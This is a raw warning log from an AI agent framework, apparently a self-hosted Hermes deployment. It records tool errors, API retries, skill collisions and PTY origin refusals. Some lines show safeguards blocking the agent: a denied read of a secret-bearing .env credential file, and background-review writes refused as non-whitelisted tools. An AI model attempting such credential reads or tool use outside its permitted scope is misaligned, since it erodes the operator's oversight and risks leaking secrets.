07:51:04,852 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:51:07,175 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:51:13,283 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:51:17,915 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:51:25,742 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:51:33,833 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:51:41,491 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:51:49,144 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:51:55,673 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:52:01,501 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:52:12,080 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:52:18,955 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:52:25,145 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:52:32,663 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:52:35,933 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool patch returned error (0.03s): {"success": false, "error": "Found 2 matches for old_string. Provide more context to make it unique, or use replace_all=True.", "_warning": "/opt/ai-os/products/ceo/kanban_server.py was last read with 2026-07-21 07:52:42,426 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:52:50,992 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:52:57,786 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:09,304 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:10,784 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:13,488 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:15,161 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:18,220 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:22,851 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:27,885 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:36,445 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:43,290 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:50,076 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:55:56,106 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:56:01,294 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:56:06,545 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:56:14,292 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:56:20,799 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:58:03,153 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:58:05,068 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:59:50,181 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (0.04s): {"output": "", "exit_code": 127, "error": null} 2026-07-21 08:00:17,995 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (20.20s): {"output": "[Command timed out after 20s]", "exit_code": 124, "error": null} 2026-07-21 08:02:20,691 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill 'model-router-profile-mapping': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for 2026-07-21 08:07:24,994 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (0.13s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-07-21 08:08:06,861 WARNING gateway.run: Shutdown context: signal=SIGTERM under_systemd=yes parent_pid=1 parent_name=systemd loadavg_1m=0.16 parent_cmdline='/sbin/init' 2026-07-21 08:08:07,927 WARNING gateway.run: Gateway drain timed out after 0.0s with 1 active agent(s) and 0 in-flight cron job(s); interrupting remaining work. 2026-07-21 08:08:08,195 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (1.46s): {"output": "[Command interrupted]", "exit_code": 130, "error": null} 2026-07-21 08:08:22,295 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-07-21 08:08:22,730 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-07-21 08:08:23,554 WARNING hermes.security_audit: Security posture audit found 1 issue(s) — review your deployment: 2026-07-21 08:08:23,554 WARNING hermes.security_audit: [security 1/1] Running as ROOT. The agent's terminal/file tools execute with full root privileges — a single prompt-injection or exposed endpoint is a full host compromise. Run Hermes as an unprivileged user (or in a sandboxed terminal backend / container with a non-root user). 2026-07-21 08:08:32,344 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Discovering Telegram API fallback IPs via DNS-over-HTTPS… 2026-07-21 08:08:32,621 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Connecting to Telegram (attempt 1/8)… 2026-07-21 08:08:34,518 WARNING hermes_plugins.feishu_platform.adapter: [Feishu] Unable to hydrate bot name from application info. Grant admin:app.info:readonly or application:application:self_manage so group @mention gating can resolve the bot name precisely. 2026-07-21 08:08:35,002 ERROR Lark: connect failed, err: 1000040351: Incorrect domain name 2026-07-21 08:08:40,192 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-21 08:08:40,201 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-21 08:08:40,240 WARNING tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 08:08:40,246 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 08:08:40,294 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 08:08:40,297 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-21 08:08:40,300 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-21 08:08:40,301 WARNING tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 08:08:41,548 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-21 08:08:41,549 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 2.1137872196415106s (attempt 1/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-21 08:08:43,879 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 2/3) error_type=APIConnectionError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-21 08:08:43,880 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 4.066602221052946s (attempt 2/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-21 08:08:48,205 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 3/3) error_type=APIConnectionError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-21 08:08:54,358 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-21 08:08:54,359 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 2.252748740408384s (attempt 1/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-21 08:08:56,871 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 2/3) error_type=APIConnectionError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-21 08:08:56,871 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 5.028860551731354s (attempt 2/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-21 08:09:02,200 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 3/3) error_type=APIConnectionError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-21 08:09:02,210 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: API call failed after 3 retries. Connection error. | provider=custom model=default msgs=206 tokens=~66,587 2026-07-21 08:14:55,362 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=RuntimeError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:14:55,363 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 2.062432554491253s (attempt 1/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:15:07,291 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 2/3) error_type=RuntimeError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:15:07,292 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 4.047953616208256s (attempt 2/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:15:22,505 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 3/3) error_type=RuntimeError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:15:22,508 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: API call failed after 3 retries. Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). | provider=custom model=default msgs=65 tokens=~35,527 2026-07-21 08:46:06,742 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (20.16s): {"output": "[Command timed out after 20s]", "exit_code": 124, "error": null} 2026-07-21 08:46:27,235 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (0.05s): {"output": "/usr/bin/bash: line 3: netstat: command not found", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-07-21 08:46:49,339 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=RuntimeError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:46:49,343 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 2.876593931697531s (attempt 1/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:46:58,302 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 2/3) error_type=RuntimeError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:46:58,302 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 4.420391049225192s (attempt 2/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:47:05,362 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 3/3) error_type=RuntimeError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-21 08:47:05,382 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: API call failed after 3 retries. Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). | provider=custom model=default msgs=84 tokens=~41,074 2026-07-21 08:54:51,610 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'model-router-profile-mapping': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for 2026-07-21 09:47:39,186 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-21 09:47:39,195 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-21 09:47:39,215 WARNING tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 09:47:39,216 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 09:47:39,269 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 09:47:39,271 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-21 09:47:39,275 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-21 09:47:39,276 WARNING tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 09:48:06,033 WARNING [cron_22df2c51a45d_20260721_094739] agent.tool_executor: Tool read_file returned error (0.05s): {"error": "Access denied: /root/.config/paper-search-mcp/.env is a secret-bearing environment file and cannot be read to prevent credential leakage. If you need to check the file structure, read .env. 2026-07-21 13:34:15,481 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (9.82s): {"output": "NotebookLM MCP Doctor\n\n\nInstallation\n notebooklm-mcp-cli: 0.8.4\n nlm: /usr/local/bin/nlm\n notebooklm-mcp: not found in PATH\n\nAuthentication\n Default profile: default\n Profil 2026-07-21 13:35:47,033 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (60.27s): {"output": "{\n \"answer\": \"Dưới đây là tóm tắt chi tiết các quy định trọng tâm của Thông tư số 34 năm 2026 của Bộ Giáo dục và Đào tạo về việc xác định số lượng tuyển sinh trình độ đại học, thạc sĩ 2026-07-21 13:38:24,668 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (60.17s): {"output": "[Command timed out after 60s]", "exit_code": 124, "error": null} 2026-07-21 13:48:02,639 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_extract returned error (0.13s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-21 13:48:16,021 WARNING [20260721_060236_7c97850b] tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-21 13:48:16,074 WARNING [20260721_060236_7c97850b] tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-21 13:48:16,177 WARNING [20260721_060236_7c97850b] tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 13:48:16,178 WARNING [20260721_060236_7c97850b] tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 13:48:16,414 WARNING [20260721_060236_7c97850b] tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 13:48:16,418 WARNING [20260721_060236_7c97850b] tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-21 13:48:16,421 WARNING [20260721_060236_7c97850b] tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-21 13:48:16,430 WARNING [20260721_060236_7c97850b] tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 13:48:25,767 WARNING [20260721_134816_f68d2a] agent.tool_executor: Tool web_extract returned error (1.74s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-21 13:49:23,292 WARNING [20260721_134816_f68d2a] agent.tool_executor: Tool browser_navigate returned error (33.46s): {"success": false, "error": "CDP command timed out: Page.navigate"} 2026-07-21 13:50:08,109 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator patch for skill 'research-pipeline': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, 2026-07-21 13:50:16,507 WARNING [20260721_134816_f68d2a] agent.tool_executor: Tool web_extract returned error (0.25s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-21 13:50:21,115 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool patch returned error (0.00s): {"error": "Background review denied non-whitelisted tool: patch. Only memory/skill tools are allowed."} 2026-07-21 13:51:55,958 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-21 13:51:55,962 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.11s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-21 13:52:09,849 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.22s): {"success": false, "error": "File must be under one of: assets, references, scripts, templates. Got: '/opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md'"} 2026-07-21 13:52:23,485 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.04s): {"success": false, "error": "Refusing background curator patch for skill 'research-pipeline': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, 2026-07-21 13:54:23,645 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-21 13:54:23,646 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-21 13:55:40,495 WARNING [20260721_135536_10209f] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-21 13:55:40,496 WARNING [20260721_135536_10209f] agent.tool_executor: Tool skill_view returned error (0.10s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-21 13:55:43,814 WARNING [20260721_135536_10209f] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-21 13:55:43,815 WARNING [20260721_135536_10209f] agent.tool_executor: Tool skill_view returned error (0.06s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-21 15:20:38,683 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool memory returned error (0.00s): {"error": "content is required for 'replace' action.", "success": false} 2026-07-21 16:49:12,743 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_extract returned error (0.03s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-21 16:49:18,934 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.32s): {"status": "error", "output": "=== SKILL-CREATOR ===\n\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox__m0uozlu/script.py\", line 7, in \n print(result['re 2026-07-21 17:31:00,193 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.06s): {"output": "hermes-agent-skill-authoring\nhermes-kanban\nkanban-content-batching\nnode-inspect-debugger\nplan\npython-debugpy\nrequesting-code-review\nsimplify-code\nspike\nsystematic-debugging\ntest- 2026-07-21 17:34:43,922 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.08s): {"output": "/usr/bin/bash: line 3: unzip: command not found", "exit_code": 127, "error": null} 2026-07-21 17:46:33,716 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "Foreground command uses '&' backgrounding. Use terminal(background=true) for long-lived processes, then run health checks and tests in follow-up terminal call 2026-07-21 18:56:19,390 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool delegate_task returned error (0.00s): {"error": "Too many tasks: 4 provided, but max_concurrent_children is 3. Either reduce the task count, split into multiple delegate_task calls, or increase delegation.max_concurrent_children in config 2026-07-21 19:06:58,791 WARNING [20260721_190638_70472e] agent.tool_executor: Tool web_extract returned error (0.04s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-21 19:07:07,327 WARNING [20260721_190638_70472e] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "Foreground command uses '&' backgrounding. Use terminal(background=true) for long-lived processes, then run health checks and tests in follow-up terminal call 2026-07-21 19:07:15,466 WARNING [20260721_190638_70472e] agent.tool_executor: Tool terminal returned error (0.18s): {"output": "", "exit_code": -15, "error": null} 2026-07-21 19:07:21,740 WARNING [20260721_190639_9b746c] agent.tool_executor: Tool web_extract returned error (0.07s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-21 19:07:21,756 WARNING [20260721_190639_9b746c] agent.tool_executor: Tool web_extract returned error (0.56s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-21 19:08:05,328 WARNING [20260721_190711_ad86ef] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "Foreground command uses '&' backgrounding. Use terminal(background=true) for long-lived processes, then run health checks and tests in follow-up terminal call 2026-07-21 19:10:43,870 WARNING [20260721_190711_ad86ef] agent.tool_executor: Tool web_extract returned error (0.09s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-21 19:13:43,366 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool write_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: write_file. Only memory/skill tools are allowed."} 2026-07-21 19:13:43,367 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool write_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: write_file. Only memory/skill tools are allowed."} 2026-07-21 19:13:43,368 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool write_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: write_file. Only memory/skill tools are allowed."} 2026-07-21 19:14:07,516 WARNING [20260721_190711_ad86ef] agent.tool_executor: Tool skill_manage returned error (0.07s): {"success": false, "error": "Refusing background curator patch for skill 'notebooklm-research': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-07-21 19:14:17,176 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill '9router-ops': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, or ski 2026-07-21 19:14:28,111 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] sendRichMessage transient failure (no legacy resend): Timed out 2026-07-21 19:14:43,668 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill '9router-ops': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, or ski 2026-07-21 19:15:27,079 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill 'model-router-profile-mapping': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for 2026-07-21 19:27:39,826 WARNING tools.delegate_tool: Subagent 0 appears stale (no progress for 40 heartbeat cycles, tool=process) — stopping heartbeat 2026-07-21 19:45:15,387 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'notebooklm-research': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-07-22 02:34:47,162 WARNING [20260722_023429_e9392e] agent.tool_executor: Tool web_extract returned error (0.14s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 02:34:49,462 WARNING [20260722_023429_233a89] agent.tool_executor: Tool web_extract returned error (0.15s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 02:34:53,781 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool memory returned error (0.01s): {"success": false, "error": "Memory at 2,177/2,200 chars. Adding this entry (348 chars) would exceed the limit. Consolidate now: use 